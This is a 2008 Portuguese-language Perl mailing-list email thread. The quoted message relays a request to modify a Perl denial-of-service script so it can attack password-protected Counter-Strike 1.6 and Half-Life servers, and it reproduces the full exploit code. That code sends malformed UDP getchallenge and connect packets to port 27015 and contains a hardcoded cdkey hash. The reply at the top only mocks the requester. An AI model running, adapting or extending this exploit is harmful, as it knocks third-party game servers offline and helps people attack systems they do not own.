Ow, que legal que ele precisa de ajuda para entrar no CS dos outros hein. Já que ele é tão espertão, por que ele não descobre sozinho?<br><br><div class="gmail_quote">2008/6/8 Daniel de Oliveira Mantovani <<a href="mailto:daniel.oliveira.mantovani@hotmail.com">daniel.oliveira.mantovani@hotmail.com</a>>:<br>
<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
<div>
Bom, eu ainda sou newbie to na página 200 do livro "Perl: Como programar",<br>gostaria que vocês pudessem ajudar<br>Um amigo me pediu pra ajudar ele em um forum só que eu ainda não tenho o conhecimento necessário<br>
vou por aqui o que ele pois la;<br>Obrigado<br>"<br>Tenho um script de CS DOS em Perl e compilei ele para .exe.<br>Segue o código abaixo. <br>Estou tentando modificá-lo para que se conecte a servers com senha.<br> <br>
A sintaxe do atalho para o exe é a seguinte <div><b>Código:</b></div><div>C:\Documents and Settings\Administrador\Desktop\dos.exe" ip_do_server:porta<br>Alguém poderia me ajudar a modificar este script para conexão c/ senha?
Lembrando que para conectar-se em um servidor c/ senha através do
console é <div><b>Código:</b></div><div>password senha; connect ip:porta</div><br><br>Obrigado! <img alt=":wink:" title="Wink"> <br><br><div><b>Código:</b></div><div>#!/usr/bin/perl<br># Server must not be running steam. /str0ke<br>
<br><br># Half-Life engine remote DoS exploit<br># bug found by Firestorm<br># tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux<br>dedicated server<br>use IO::Socket;<br>die "usage: ./csdos <host>" unless $ARGV[0];<br>
$host=$ARGV[0];<br><br>if (fork())<br>{ econnect($host); }<br>else<br>{ econnect($host); };<br>exit;<br><br>sub econnect($)<br>{<br> my $host=$_[0];<br> my $sock = new<br>IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');<br>
die "Could not create socket: $!\n" unless $sock;<br> $cmd="\xff\xff\xff\xff";<br> syswrite $sock, $cmd."getchallenge";<br><br> sysread $sock,$b,65535; print $b,"\n";<br>
@c=split(/ /,$b);<br><br> $c2=$c[1];<br><br> $q=$cmd."connect 47 $c2<br>\"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";<br>print '>',$q,"\n";<br>
syswrite $sock, $q;<br>sysread $sock,$b,65535; print $b,"\n";<br>sleep 3;<br>close $sock;<br>} "<br></div><br></div><br><hr>Instale a Barra de Ferramentas com Desktop Search e ganhe EMOTICONS para o Messenger! <a href="http://www.msn.com.br/emoticonpack" target="_blank">É GRÁTIS!</a></div>
<br>_______________________________________________<br>
SaoPaulo-pm mailing list<br>
<a href="mailto:SaoPaulo-pm@pm.org">SaoPaulo-pm@pm.org</a><br>
<a href="http://mail.pm.org/mailman/listinfo/saopaulo-pm" target="_blank">http://mail.pm.org/mailman/listinfo/saopaulo-pm</a><br></blockquote></div><br><br clear="all"><br>-- <br>Alexei Znamensky [russoz_gmail_com] [<a href="http://russoz.wordpress.com">russoz.wordpress.com</a>] [<a href="http://www.flickr.com/photos/alexeiz">www.flickr.com/photos/alexeiz</a>]<br>
"Though we live in trying times, we're the ones who have to try"